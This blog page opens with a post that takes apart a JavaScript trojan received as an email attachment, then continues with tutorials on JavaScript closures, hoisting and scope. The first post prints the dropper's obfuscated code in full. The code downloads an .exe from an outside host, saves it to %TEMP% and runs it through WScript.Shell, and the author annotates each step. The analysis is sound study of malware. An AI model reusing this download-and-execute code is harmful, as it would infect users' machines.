Adsense-HeaderAd-Script


Advertisement #Header

4 Apr 2016

Learned Javscript from a Trojan got through ZIP Mail Attachment


I received a mail to my company account from my mail itself. And I was pretty sure that I haven’t sent a mail to myself. So I checked the Header of the email, it was shown that it’s from a unknown source.


Now I was pretty convinced that this is a rogue email that may contain some kind of malicious code. The mail had an attachment containing  a file called “Image917524490855.zip”. 



I was curious to know what was inside and how it could infect my computer.  After extracting the zip file, I found it was containing a JS file. So now I wanted to know, how a JavaScript file could contain infect my system with virus.


Boy, I gotta to tell if you want to learn cool, innovative model of coding and learn new things, you go through the codebase of a virus.


I'm breaking down the code to small snippets to understand what going on it and have commented inside the code its meaning and current variable value and unfamilar command's syntax.

To see the full codebase, please check the github page here


?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
thickI = 0;
String.prototype.millinery = function() {
    aa = this;
    return aa.charAt(8 * 0 * 8); // returns the Strings characterAT(0); that is first character
};
var BilRTKUok = [
    "p" + ("italy", "navel", "squatter", "ST") + "FV" + ("lassie", "monopolize", "neighborhood", "YI") + "rjX",
    "o" + "Gyfv" + "yW" + "IH" + ("crossroads", "hybrid", "stingy", "interlude", "hQ"),
    "E" + ("keyboard", "tandem", "gotten", "listen", "xp") + "an" + ("keith", "vestige", "input", "heinous", "dE") + "nv" + "ir" + ("septuagint", "bookkeeper", "greece", "scimitar", "on") + "me" + ("patio", "unleavened", "nt") + ("garnered", "adrift", "St") + ("performance", "yahoo", "ri") + ("voices", "mexico", "ngs"),
    "" + "%" + ("burdett", "tongs", "TE") + ("travail", "inserted", "MP%"),
    "" + "." + ("followed", "casting", "second", "exe"),
    ("including", "enemy", "R") + "un",
    ("chronology", "alexandra", "nightmare", "helicopter", "A") + "ct" + "co" + "ndoi" + "vc" + ("ranks", "homogeneous", "sudan", "decorate", "ondo") + "eX" + ("sediment", "forces", "preparation", "graphs", "cond") + "oO" + "bc" + ("revealed", "isolate", "malta", "macintosh", "on") + "do" + ("enhance", "install", "jecond") + "oct",
    "nlHcwmmYdvD",
    "HCpQSg",
    "W" + "Sc" + "co" + "nd" + "or" + "ip" + "tc" + ("commissioner", "papua", "spalding", "tasting", "on") + "do." + ("manslaughter", "fiftyfive", "workstation", "halter", "S"),
    "LVEhhuKWtV",
    ("convergence", "lamentation", "abstracts", "lynching", "hco") + "ndoe" + "lc" + "on" + ("playback", "quench", "doing", "ballet", "dol"),
    "BHyXGt",
    "V" + ("informer", "parrot", "redeem", "me") + "VY" + ("colin", "reprint", "tropical", "VS"),
    ("durable", "mention", "provisional", "shuttle", "McondoSXc") + ("naming", "facility", "on") + ("scamp", "privy", "doMLcond") + "o2" + ("ordinance", "distributed", "mediator", "delinquent", ".") + "co" + ("wellbred", "misshapen", "nd") + "oXMc" + "on" + ("unsaid", "leather", "jenny", "animus", "doLH") + ("pyramids", "contribution", "co") + ("extend", "suppliers", "treasury", "furniture", "nd") + "oTTP"
                 
                ];    // see img BilRTKUok-01.JPG
thickI = 0;
String.prototype.millinery = function() {
    aa = this;
    return aa.charAt(8 * 0 * 8); // returns the Strings characterAT(0); that is first character
};
var BilRTKUok = [
    "p" + ("italy", "navel", "squatter", "ST") + "FV" + ("lassie", "monopolize", "neighborhood", "YI") + "rjX", 
    "o" + "Gyfv" + "yW" + "IH" + ("crossroads", "hybrid", "stingy", "interlude", "hQ"), 

    "E" + ("keyboard", "tandem", "gotten", "listen", "xp") + "an" + ("keith", "vestige", "input", "heinous", "dE") + "nv" + "ir" + ("septuagint", "bookkeeper", "greece", "scimitar", "on") + "me" + ("patio", "unleavened", "nt") + ("garnered", "adrift", "St") + ("performance", "yahoo", "ri") + ("voices", "mexico", "ngs"), 

    "" + "%" + ("burdett", "tongs", "TE") + ("travail", "inserted", "MP%"), 
    "" + "." + ("followed", "casting", "second", "exe"), 
    ("including", "enemy", "R") + "un", 

    ("chronology", "alexandra", "nightmare", "helicopter", "A") + "ct" + "co" + "ndoi" + "vc" + ("ranks", "homogeneous", "sudan", "decorate", "ondo") + "eX" + ("sediment", "forces", "preparation", "graphs", "cond") + "oO" + "bc" + ("revealed", "isolate", "malta", "macintosh", "on") + "do" + ("enhance", "install", "jecond") + "oct", 

    "nlHcwmmYdvD", 
    "HCpQSg", 

    "W" + "Sc" + "co" + "nd" + "or" + "ip" + "tc" + ("commissioner", "papua", "spalding", "tasting", "on") + "do." + ("manslaughter", "fiftyfive", "workstation", "halter", "S"), 

    "LVEhhuKWtV", 

    ("convergence", "lamentation", "abstracts", "lynching", "hco") + "ndoe" + "lc" + "on" + ("playback", "quench", "doing", "ballet", "dol"), 

    "BHyXGt", 

    "V" + ("informer", "parrot", "redeem", "me") + "VY" + ("colin", "reprint", "tropical", "VS"), 
    ("durable", "mention", "provisional", "shuttle", "McondoSXc") + ("naming", "facility", "on") + ("scamp", "privy", "doMLcond") + "o2" + ("ordinance", "distributed", "mediator", "delinquent", ".") + "co" + ("wellbred", "misshapen", "nd") + "oXMc" + "on" + ("unsaid", "leather", "jenny", "animus", "doLH") + ("pyramids", "contribution", "co") + ("extend", "suppliers", "treasury", "furniture", "nd") + "oTTP"
                
                ];    // see img BilRTKUok-01.JPG

line 06: EvenThough there is lot of words and unintelligent words in BilRTKUok Array, after the execution of the array, it becomes like the below Fig: BilRTKUok-01.JPG.

BilRTKUok Array Snapshot
Fig: BilRTKUok-01.JPG

?
BilRTKUok.splice(7, thickI + 2);   // After splice removes 2 items; see img BilRTKUok-02.JPG
BilRTKUok.splice(7, thickI + 2);   // After splice removes 2 items; see img BilRTKUok-02.JPG

After the splicing of the BilRTKUok array, it becomes as shown in below Fig: BilRTKUok-02.JPG

Snapshot of BilRTKUok array after splice
Fig: BilRTKUok-02.JPG

?
35
36
37
38
39
40
41
42
43
44
45
amino = BilRTKUok[1 + 4 + 1].split("condo").join("");  // = "ActiveXObject"
//var WUHOHMfe = this["ActiveXObject"];
var WUHOHMfe = this[amino];
statement = (("savings", "perfidy", "qHgSeaxuhoE", "hormone", "pSCfJszNMe") + "xJwXsnxn").millinery();           // statement = "p"
announcements = (("linking", "scholastic", "JgndJbrQuz", "timely", "shWLaSRGCWke") + "MRkwwfHjVT").millinery(); //  announcements = "s"
thickI = 7;
BilRTKUok[thickI] = BilRTKUok[thickI] + BilRTKUok[thickI + 2];   // BilRTKUok[7] = "WSccondoriptcondo.Shcondoelcondol"
BilRTKUok[thickI + 1] = "kAgWlwsNfXY";                          //  BilRTKUok[8] = "kAgWlwsNfXY"
BilRTKUok.splice(thickI + 1, thickI - 4);   // After splice removes 2 items; see img BilRTKUok-03.JPG
amino = BilRTKUok[1 + 4 + 1].split("condo").join("");  // = "ActiveXObject"

//var WUHOHMfe = this["ActiveXObject"]; 
var WUHOHMfe = this[amino]; 
statement = (("savings", "perfidy", "qHgSeaxuhoE", "hormone", "pSCfJszNMe") + "xJwXsnxn").millinery();           // statement = "p"
announcements = (("linking", "scholastic", "JgndJbrQuz", "timely", "shWLaSRGCWke") + "MRkwwfHjVT").millinery(); //  announcements = "s"

thickI = 7;
BilRTKUok[thickI] = BilRTKUok[thickI] + BilRTKUok[thickI + 2];   // BilRTKUok[7] = "WSccondoriptcondo.Shcondoelcondol"
BilRTKUok[thickI + 1] = "kAgWlwsNfXY";                          //  BilRTKUok[8] = "kAgWlwsNfXY"
BilRTKUok.splice(thickI + 1, thickI - 4);   // After splice removes 2 items; see img BilRTKUok-03.JPG


line 36 : The ActiveXObject object is used to create instances of OLE Automation objects in Internet Explorer on Windows operating systems.

Several applications (Microsoft Office Word, Microsoft Office Excel, Windows Media Player, ...) provide OLE Automation objects to allow communication with them. You can use the methods and properties supported by Automation objects in JavaScript.

Luckily, the ActiveXObject object is only supported by Internet Explorer. To know more on ActiveXObject, check this site

line 57 : After this code, the Array becomes as shown in the Fig:ilRTKUok-03.JPG below


Fig: BilRTKUok-03.JPG


?
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
BilRTKUok[thickI] = BilRTKUok[thickI].split("condo").join("");   // "WSccondoriptcondo.Shcondoelcondol" is converted to "WScript.Shell"
//var yzavYsf = new ActiveXObject("WScript.shell");
var yzavYsf = new WUHOHMfe(BilRTKUok[thickI]);
thickI++;                                               // thickI = 8
BilRTKUok[thickI + 1] = BilRTKUok[thickI + 1].split("condo").join("");  // "McondoSXcondoMLcondo2.condoXMcondoLHcondoTTP" becomes "MSXML2.XMLHTTP"
//var QcarAWR = new ActiveXObject("MSXML2.XMLHTTP");
var QcarAWR = new WUHOHMfe(BilRTKUok[1 + thickI]);
thickI /= 2;                // thickI = 4
//var xAbMqtec = WshShell.ExpandEnvironmentStrings("%TEMP%")
var xAbMqtec = yzavYsf[BilRTKUok[thickI - 2]](BilRTKUok[thickI - 1]);
corporatee = (( "mechanics", "seraphic", "TyEzvHbHt", "disorders", "ElpAWvfz") + "TpDEqAkzD").millinery();   // corporatee = "E"
BilRTKUok[thickI] = BilRTKUok[thickI].split("condo").join("");   // "WSccondoriptcondo.Shcondoelcondol" is converted to "WScript.Shell"

//var yzavYsf = new ActiveXObject("WScript.shell");
var yzavYsf = new WUHOHMfe(BilRTKUok[thickI]);
thickI++;                                               // thickI = 8
BilRTKUok[thickI + 1] = BilRTKUok[thickI + 1].split("condo").join("");  // "McondoSXcondoMLcondo2.condoXMcondoLHcondoTTP" becomes "MSXML2.XMLHTTP"

//var QcarAWR = new ActiveXObject("MSXML2.XMLHTTP"); 
var QcarAWR = new WUHOHMfe(BilRTKUok[1 + thickI]);
thickI /= 2;                // thickI = 4

//var xAbMqtec = WshShell.ExpandEnvironmentStrings("%TEMP%") 
var xAbMqtec = yzavYsf[BilRTKUok[thickI - 2]](BilRTKUok[thickI - 1]); 


corporatee = (( "mechanics", "seraphic", "TyEzvHbHt", "disorders", "ElpAWvfz") + "TpDEqAkzD").millinery();   // corporatee = "E"




line 48 :   What is WSH?    WSH is a script host. A script host is a program that provides an environment in which users can execute scripts in a variety of languages, languages that use a variety of object models to perform tasks.  To Read more, check this site

The WshShell object gives your scripts the ability to work with the Windows shell. Your scripts can use the WshShell object to perform a number of system administration tasks, including running programs, reading from and writing to the registry, and creating shortcuts.

line 53 : The MSXML2.XMLHTTP is the XML HTTP Request Object used to call Server APIs Asynchronously.

line 57 : The ExpandEnvironmentStrings method expands the environment variables in a string and returns the resulting string. Here its gives the absolute path of %TEMP% .To know more, check this site
?
113
screensaver("h" + "tt" + ("photographic", "baleful", "formality", "p:") + "//" + "de" + "v." + "fa" + "nj" + "ap" + "an" + ".c" + ("edification", "goodfellowship", "om") + "/7" + "62" + "tr" + "g22e" + "2." + "exe", "FfXlke");
screensaver("h" + "tt" + ("photographic", "baleful", "formality", "p:") + "//" + "de" + "v." + "fa" + "nj" + "ap" + "an" + ".c" + ("edification", "goodfellowship", "om") + "/7" + "62" + "tr" + "g22e" + "2." + "exe", "FfXlke");

line 113 : Don't let the function name decieve you, its no screensaver function.  In summary this custom function will call  the server api and download the contents of virus codebase to a file and tells the system to run that file.

?
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
function screensaver(aristocrat, welter) {
// aristocrat = "http ://dev.fanjapan.com/762trg22e2 .exe" // Virus!  dont click unless you are Batman who confronts his worst Fear (here Virus)
// welter = "FfXlke"
    try {
        var transmit = xAbMqtec + "/" + welter + BilRTKUok[thickI];   //  = "%TEMP%/FfXlke.exe"
        var open ="o" + statement + corporatee + "n";                //   = "opEn"
        var meth= ("improvement", "tardily", "G") + corporatee + ("rocco", "grapple", "tillage", "T"); // = "GET"
         
        // MSXML2.XMLHTTP.open("GET","http ://dev.fanjapan.com/762trg22e2 .exe", false);
        QcarAWR[open](meth, aristocrat, false);
         
        var func2= announcements + ("tuition", "glinting", "unfounded", "arctic", "e") + (("unholy", "curbed", "LLpUmwQBnsk", "spurn", "kissing", "nGDOpiDLl") + "FKfAxgifRdX").millinery() + (("computer", "snail", "races", "leicestershire", "archive", "dEAqcmjkU") + "KpOALvGVT").millinery();  // = send
        QcarAWR[func2]();  // MSXML2.XMLHTTP.send();
         
        if (QcarAWR.status == 200) {
            var func3 = (("calibre", "hilton", "collectibles", "skating", "") + "A" + ("realistic", "invitations", "vulcan", "pO") + "DB." + "" + "S" + ("dwindle", "homework", "centered", "tr") + ("athletics", "dresses", "eam")).replace("p", "D");  // = "ADODB.Stream"
             
            // var hytSjp = new ActiveXObject("ADODB.Stream");
            var hytSjp = new WUHOHMfe(func3);
             
            var func4 = "" + "o" + ("fraternity", "manner", "simplified", "consent", "pen");    // = "open"
            
           //ADODB.Stream.open();
            hytSjp[func4]();
             
            hytSjp.type = 0 + 3 - 2; // ADODB.Stream.type = 1
            var func5 = "w" + ("targets", "limply", "shell", "ri") + "te" // = write
            var func6 = "" + ("numeral", "drawl", "tasteful", "R") + "es" + ("defender", "typewriter", "accumulates", "necessitate", "pon") + announcements + ("carolina", "ravage", "malediction", "e") + "Bo" + "dy";   // = "ResponseBody"
             
            //ADODB.Stream.write(MSXML2.XMLHTTP.ResponseBody);
            hytSjp[func5](QcarAWR[func6]);
             
            var func7 = (statement + "o" + "Di" + ("bracelet", "beast", "cheaper", "ti") + "on").replace("D", announcements); // = position
            hytSjp[func7] = 0;  // ADODB.Stream.position = 0
           var func8="s" + "av" + "eT" + ("scrimmage", "alliance", "oFile");  // = saveToFile
            
           // ADODB.Stream.saveToFile(FileName, adSaveCreateOverWrite);
            hytSjp[func8](transmit, 2);
            hytSjp.close();  // ADODB.Stream.close();
             
            //WScript.Shell.Run(strCommand, [intWindowStyle], [bWaitOnReturn])
            yzavYsf[BilRTKUok[thickI + 1]](transmit, 1, "TPYHPf" === "LDNSGABujeo");  // "TPYHPf" === "LDNSGABujeo"  means false
        }
    }
    catch (cNINLnxTF) {
    console.log(cNINLnxTF);
    };
}
function screensaver(aristocrat, welter) {
// aristocrat = "http ://dev.fanjapan.com/762trg22e2 .exe" // Virus!  dont click unless you are Batman who confronts his worst Fear (here Virus)
// welter = "FfXlke"
    try {
        var transmit = xAbMqtec + "/" + welter + BilRTKUok[thickI];   //  = "%TEMP%/FfXlke.exe"
        var open ="o" + statement + corporatee + "n";                //   = "opEn"
        var meth= ("improvement", "tardily", "G") + corporatee + ("rocco", "grapple", "tillage", "T"); // = "GET"
        
        // MSXML2.XMLHTTP.open("GET","http ://dev.fanjapan.com/762trg22e2 .exe", false);
        QcarAWR[open](meth, aristocrat, false);
        
        var func2= announcements + ("tuition", "glinting", "unfounded", "arctic", "e") + (("unholy", "curbed", "LLpUmwQBnsk", "spurn", "kissing", "nGDOpiDLl") + "FKfAxgifRdX").millinery() + (("computer", "snail", "races", "leicestershire", "archive", "dEAqcmjkU") + "KpOALvGVT").millinery();  // = send
        QcarAWR[func2]();  // MSXML2.XMLHTTP.send();
        
        if (QcarAWR.status == 200) {
            var func3 = (("calibre", "hilton", "collectibles", "skating", "") + "A" + ("realistic", "invitations", "vulcan", "pO") + "DB." + "" + "S" + ("dwindle", "homework", "centered", "tr") + ("athletics", "dresses", "eam")).replace("p", "D");  // = "ADODB.Stream"
            
            // var hytSjp = new ActiveXObject("ADODB.Stream");
            var hytSjp = new WUHOHMfe(func3);
            
            var func4 = "" + "o" + ("fraternity", "manner", "simplified", "consent", "pen");    // = "open"
           
           //ADODB.Stream.open();
            hytSjp[func4](); 
            
            hytSjp.type = 0 + 3 - 2; // ADODB.Stream.type = 1
            var func5 = "w" + ("targets", "limply", "shell", "ri") + "te" ;  // = write
            var func6 = "" + ("numeral", "drawl", "tasteful", "R") + "es" + ("defender", "typewriter", "accumulates", "necessitate", "pon") + announcements + ("carolina", "ravage", "malediction", "e") + "Bo" + "dy";   // = "ResponseBody"
            
            //ADODB.Stream.write(MSXML2.XMLHTTP.ResponseBody);
            hytSjp[func5](QcarAWR[func6]);
            
            var func7 = (statement + "o" + "Di" + ("bracelet", "beast", "cheaper", "ti") + "on").replace("D", announcements); // = position
            hytSjp[func7] = 0;  // ADODB.Stream.position = 0
           var func8="s" + "av" + "eT" + ("scrimmage", "alliance", "oFile");  // = saveToFile
           
           // ADODB.Stream.saveToFile(FileName, adSaveCreateOverWrite);
            hytSjp[func8](transmit, 2);
            hytSjp.close();  // ADODB.Stream.close();
            
            //WScript.Shell.Run(strCommand, [intWindowStyle], [bWaitOnReturn])
            yzavYsf[BilRTKUok[thickI + 1]](transmit, 1, "TPYHPf" === "LDNSGABujeo");  // "TPYHPf" === "LDNSGABujeo"  means false
        }

    } 
    catch (cNINLnxTF) {
    console.log(cNINLnxTF);
    };

}

line 71 : sends Server API request to receive the Virus File

line 80 : the ADO Stream Object is used to read, write, and manage a stream of binary data or text. To know more, read here.
ADODB.Stream object is created to handle the binary data contents of the virus file.

line 80 : the contents of the virus file received via the XMLHttp Response object is written to the ADODB Stream.

line 99 : the ADODB Stream is saved to the file created in %TEMP% folder.

line 104 : the WshShell object is used to run the (Virus) file  created in the %TEMP% folder.



To see the full codebase, please check the github page here












18 Jan 2016

Understanding Javascript for Java Programmers Part3: this context inside a closure


Weirdness of Javascript Continues


?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
function Student() {
   
  var c = 1;  // local variable inside Student Constructor function
  setInterval(  function counter()
                {
                    c++;        // closure func has access to outer Student function
                    console.log(c); // logs 2 3 4 5 ... after each 1000ms
                }
                , 1000
             );
}
var s = new Student();
function Student() {
  
  var c = 1;  // local variable inside Student Constructor function

  setInterval(  function counter() 
                {
                    c++;        // closure func has access to outer Student function
                    console.log(c); // logs 2 3 4 5 ... after each 1000ms
                }
                , 1000
             );
}

var s = new Student();

In the above program the closure counter() has access to value of c variable in above Student() Constructor Function.

Weirdness is with this context
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
this.d = 100;
function Student() {
   
  this.c = 1;  // 'this' is an instance of Student itself
  this.d = 1;
  setInterval(  function counter()
                {
                    this.c++;   // closure func doesnt have access to this.c of outer function
                    console.log(this.c); // logs 'NaN' after each second
                     
                    this.d++;   // closure func have access to global this.d
                    console.log(this.d); // logs 101  102  103  104 ... after each second
                }
                , 1000
             );
}
var s = new Student();
this.d = 100;
function Student() {
  
  this.c = 1;  // 'this' is an instance of Student itself
  this.d = 1;

  setInterval(  function counter() 
                {
                    this.c++;   // closure func doesnt have access to this.c of outer function
                    console.log(this.c); // logs 'NaN' after each second
                    
                    this.d++;   // closure func have access to global this.d
                    console.log(this.d); // logs 101  102  103  104 ... after each second
                }
                , 1000
             );
}

var s = new Student();

Closure function counter() doesnt have access to outer function Student() this context but has access to global this context

Workaround

1. Assign the value of this context to a variable
2. Use the new Arrow Function


1. Assign the value of this context to a variable

 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
function Student() { 
   
  this.c = 1;  // 'this' is an instance of Student itself
  var outer = this// outer is a local var in Student() that captures the instance of this context
 
  setInterval(  function counter()
                {
                    outer.c++;  // closure func now have access to this.c of outer function using
                                // by passing the value of this to outer variable
                    console.log(outer.c); // logs 2  3  4  5 ... after each second
                }
                , 1000
             );
}
 
 
function Student() {  
  
  this.c = 1;  // 'this' is an instance of Student itself 
  var outer = this;  // outer is a local var in Student() that captures the instance of this context

  setInterval(  function counter() 
                {
                    outer.c++;  // closure func now have access to this.c of outer function using 
                                // by passing the value of this to outer variable
                    console.log(outer.c); // logs 2  3  4  5 ... after each second
                }
                , 1000
             );
}

2. Use the new Arrow Function =>


 
01
02
03
04
05
06
07
08
09
10
11
12
function Student() {   
  this.c = 1;  // 'this' is an instance of Student itself
 
  setInterval(  () =>
                    {
                        this.c++;   // closure func now have access to this.c of outer function
                        console.log(this.c); // logs 2  3  4  5 ... after each second
                    }
                , 1000
             );
}
var s = new Student();
 
 
function Student() {    
  this.c = 1;  // 'this' is an instance of Student itself 

  setInterval(  () =>
                    {
                        this.c++;   // closure func now have access to this.c of outer function 
                        console.log(this.c); // logs 2  3  4  5 ... after each second
                    }
                , 1000
             );
}
var s = new Student();

22 Dec 2015

JavaScript for Java Programmers :Closure and Variable Scope


1st let us take a look at Javascript Variable Scope and Hoisting.

For Java developers this would be a strange world by looking at how Variable Scope works in JavaScript.

Eg: Java program to demo variable scope for local and global variables.
?

  
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
public class studentShow{
     
    private static class Student
    {
        private  static String name="Anwar";
         
        private static void studentName(){
            System.out.println("Inside 1. name= "+name);
            String name = "Ravi";
            System.out.println("Inside 2. name= "+name);
        }
    }  
     
    public static void main(String args[])
    {
        System.out.println("Outside 1. name= "+Student.name);
        Student.studentName();
        System.out.println("Outside 2. name= "+Student.name);
    }
}

  
public class studentShow{
    
    private static class Student
    {
        private  static String name="Anwar";
        
        private static void studentName(){
            System.out.println("Inside 1. name= "+name);
            String name = "Ravi";
            System.out.println("Inside 2. name= "+name);
        }
    }   
    
    public static void main(String args[]) 
    {
        System.out.println("Outside 1. name= "+Student.name);
        Student.studentName();
        System.out.println("Outside 2. name= "+Student.name);
    }
}
Output
?

  
1
2
3
4
Outside 1. name= Anwar
Inside 1. name= Anwar
Inside 2. name= Ravi
Outside 2. name= Anwar

  
Outside 1. name= Anwar
Inside 1. name= Anwar
Inside 2. name= Ravi
Outside 2. name= Anwar

Now see how a similar program outputs in Javascript

  
01
02
03
04
05
06
07
08
09
10
11
12
13
14
var name = "Anwar"  // global variable
     
function studentName()
{
    console.log ("Inside 1. name= "+ name); // undefined;  Due to Variable Hoisting
    var name = "Ravi"; // local variable; only accessible in this studentName function​
    console.log ("Inside 2. name= "+ name); // Ravi
}
console.log ("Outside 1. name= "+name); // Anwar: the global variable
     
studentName();     
console.log ("Outside 2. name= "+name); // Anwar: the global variable

  
var name = "Anwar"  // global variable
    
function studentName()
{
    console.log ("Inside 1. name= "+ name); // undefined;  Due to Variable Hoisting
    var name = "Ravi"; // local variable; only accessible in this studentName function​
    console.log ("Inside 2. name= "+ name); // Ravi
}

console.log ("Outside 1. name= "+name); // Anwar: the global variable
    
studentName();      

console.log ("Outside 2. name= "+name); // Anwar: the global variable
Output
?

  
1
2
3
4
Outside 1. name= Anwar
Inside 1. name= undefined
Inside 2. name= Ravi
Outside 2. name= Anwar

  
Outside 1. name= Anwar
Inside 1. name= undefined
Inside 2. name= Ravi
Outside 2. name= Anwar
Variable Hoisting

Why we got undefined instead of Anwar?
In Javascript, all variable declarations are hoisted (lifted and declared) to the top of the function, if defined in a function, or the top of the global context, if outside a function.

Note: Only variable declarations are hoisted to the top, not variable initialization or assignments

So the above JavaScript program is seen by the JavaScript Engine as
?

  
1
2
3
4
5
6
7
8
function studentName()
{
    var name; // only declaration is hoisted to top of the function
    console.log ("Inside 1. name= "+ name); // Since initialization is not hoisted ;
                                            // current value is undefined
    name = "Ravi";
    console.log ("Inside 2. name= "+ name);
}

  
function studentName()
{
    var name; // only declaration is hoisted to top of the function
    console.log ("Inside 1. name= "+ name); // Since initialization is not hoisted ; 
                                            // current value is undefined
    name = "Ravi";
    console.log ("Inside 2. name= "+ name); 
}

 Local Variables
In JavaScript, another weird thing about variable scope is its based  on Function- level instead of Block-level Scope (variables scoped to surrounding curly brackets);

A JavaScript program to demo the Function level Variable scope
?

  
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
var age = 15;
     
function studentName() {
    var name = "Ravi"
    console.log ("1. Outside Block level name= "+ name); //Ravi
     
    if(age<18) {
        var name = "Master. "; //local variable;
        //for Java developers, name variable scope should be limited to if block
        console.log("Inside if Block - name= "+name); // Master
    }
    else {
        var name = "Mr. "//local variable;
        //for Java developers, name variable scope should be limited to else block
        console.log("Inside else Block - name= "+name);
    }
    console.log ("2. Outside Block level name= "+ name);  // outside if-else block
        //for Java developers, Output should be Ravi   
        // But since in JS, the there is no block-level variable scope just Function level scope
        // Master is  the value of name
}

  
var age = 15;
    
function studentName() {
    var name = "Ravi";  
    console.log ("1. Outside Block level name= "+ name); //Ravi
    
    if(age<18) {
        var name = "Master. "; //local variable;
        //for Java developers, name variable scope should be limited to if block
        console.log("Inside if Block - name= "+name); // Master
    }
    else {
        var name = "Mr. ";  //local variable;
        //for Java developers, name variable scope should be limited to else block
        console.log("Inside else Block - name= "+name);
    }
    console.log ("2. Outside Block level name= "+ name);  // outside if-else block
        //for Java developers, Output should be Ravi    
        // But since in JS, the there is no block-level variable scope just Function level scope
        // Master is  the value of name
}
Output
?

  
1
2
3
1. Outside Block level name= Ravi
Inside if Block - name= Master.
2. Outside Block level name= Master.

  
1. Outside Block level name= Ravi
Inside if Block - name= Master.
2. Outside Block level name= Master.

Global Scope if not Declared 

Any variable in a function that is not declared will become a global variable.

?

  
01
02
03
04
05
06
07
08
09
10
11
12
var name = "Anwar"  // global variable
console.log ("1. Outside name= "+ name);   
function studentName() {
    name = "Ravi"// global variable
    // If you don't declare your local variables with the var keyword,
    // they are part of the global scope
    console.log ("  Inside name= "+ name); //Ravi
}
     
studentName(); 
console.log ("2. Outside name= "+ name);

  
var name = "Anwar"  // global variable
console.log ("1. Outside name= "+ name);    

function studentName() {
    name = "Ravi";  // global variable
    // If you don't declare your local variables with the var keyword, 
    // they are part of the global scope
    console.log ("  Inside name= "+ name); //Ravi 
}
    
studentName();  
console.log ("2. Outside name= "+ name);
Output
?

  
1
2
3
1. Outside name= Anwar
  Inside name= Ravi
2. Outside name= Ravi

  
1. Outside name= Anwar
  Inside name= Ravi
2. Outside name= Ravi

All non-declared variables in JavaScript will pollute the global scope so its best pratice to declare as local variables inside Functions.


What is a closure?
A closure is an inner function that has access to the outer (enclosing) function’s variables & parameters.

The closure has three scope chains:
  1. it has access to its own scope (variables & parameters defined in its Function), 
  2. it has access to the outer function’s variables & parameters, and 
  3. it has access to the global variables.

Note : Inner function cannot call the outer function’s arguments object

eg: JS Demo of Closure
?

  
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
function studentTopRanks(firstRank, secondRank)
{
  var msg ="The Rank list : ";
   
  function print()
  {
    // print() is closure inner function
     
    // It has access to local variables of enclosed outer function
    // It also has access to parameters - firstRank, SecondRank
    // of enclosed outer function
     
    return msg + "1st rank - " + firstRank
             + ", 2nd rank - " + secondRank;
  }
   
  return print(); 
}
     
studentTopRanks('Ravi','Anwar');

  
function studentTopRanks(firstRank, secondRank) 
{
  var msg ="The Rank list : ";
  
  function print()
  {
    // print() is closure inner function
    
    // It has access to local variables of enclosed outer function
    // It also has access to parameters - firstRank, SecondRank 
    // of enclosed outer function
    
    return msg + "1st rank - " + firstRank
             + ", 2nd rank - " + secondRank;
  }
  
  return print();  
}
    
studentTopRanks('Ravi','Anwar');


Weirdness of Closures in JavaScript

1. Closures have access to the outer function’s variable even after the outer function returns
?

  
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function studentTopRanks(firstRank)
{
  var msg ="The Rank list : ";
   
  function print(secondRank)
  {
    // print() is closure inner function
     
    // It has access to local variables of enclosed outer function
    // It also has access to parameters - firstRank, SecondRank
    // of enclosed outer function
     
    return msg + "1st rank - " + firstRank
             + ", 2nd rank - " + secondRank;
  }
   
  return print; 
  // return print;   we return the print function object, instead of
  // return print(); which returns the String of the msg
   
}
     
var printObjVar = studentTopRanks('Ravi');
// At this juncture, the studentTopRanks outer function has returned.
// It returns a function Object and assigned to variable printObjVar
var display = printObjVar("Jackson");
// The closure (print) is called here after the outer function has returned above
// Yet, the closure still has access to the outer function's variables and parameter
console.log(display);

  
function studentTopRanks(firstRank) 
{
  var msg ="The Rank list : ";
  
  function print(secondRank)
  {
    // print() is closure inner function
    
    // It has access to local variables of enclosed outer function
    // It also has access to parameters - firstRank, SecondRank 
    // of enclosed outer function
    
    return msg + "1st rank - " + firstRank
             + ", 2nd rank - " + secondRank;
  }
  
  return print;  
  // return print;   we return the print function object, instead of
  // return print(); which returns the String of the msg
  
}
    
var printObjVar = studentTopRanks('Ravi'); 
// At this juncture, the studentTopRanks outer function has returned.
// It returns a function Object and assigned to variable printObjVar

var display = printObjVar("Jackson");
// The closure (print) is called here after the outer function has returned above
// Yet, the closure still has access to the outer function's variables and parameter
console.log(display);


2. Closures store references to the outer function’s variables; not the actual value.

Douglas Crockford demonstrated the use of Private Members in JavaScript using this technique.

?

  
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function Student()
{
    var name = "Master";
    return {
         
    // We are returning an object with some inner functions
    // All the inner functions have access to the outer function's variables
     
        getName: function() 
        {
            // This inner function will return current value of
            // outer functions name variable
            // Even after the setName function changes it
          return name;
        },
        setName: function(newName) 
        {
            // This inner function will change the outer function's variable anytime
            name = newName;
        }
    }
}
var studObjVar = Student(); // At this juncture, the Student outer function Object has returned.
studObjVar.getName(); // Master
studObjVar.setName("Ravi"); // Changes the outer function's variable
studObjVar.getName(); // Ravi: It returns the updated celebrityId variable

  
function Student() 
{
    var name = "Master";
    return {
        
    // We are returning an object with some inner functions
    // All the inner functions have access to the outer function's variables
    
        getName: function()  
        {
            // This inner function will return current value of 
            // outer functions name variable
            // Even after the setName function changes it
          return name;
        },
        setName: function(newName)  
        {
            // This inner function will change the outer function's variable anytime
            name = newName;
        }
    }
}

var studObjVar = Student(); // At this juncture, the Student outer function Object has returned.
studObjVar.getName(); // Master
studObjVar.setName("Ravi"); // Changes the outer function's variable
studObjVar.getName(); // Ravi: It returns the updated celebrityId variable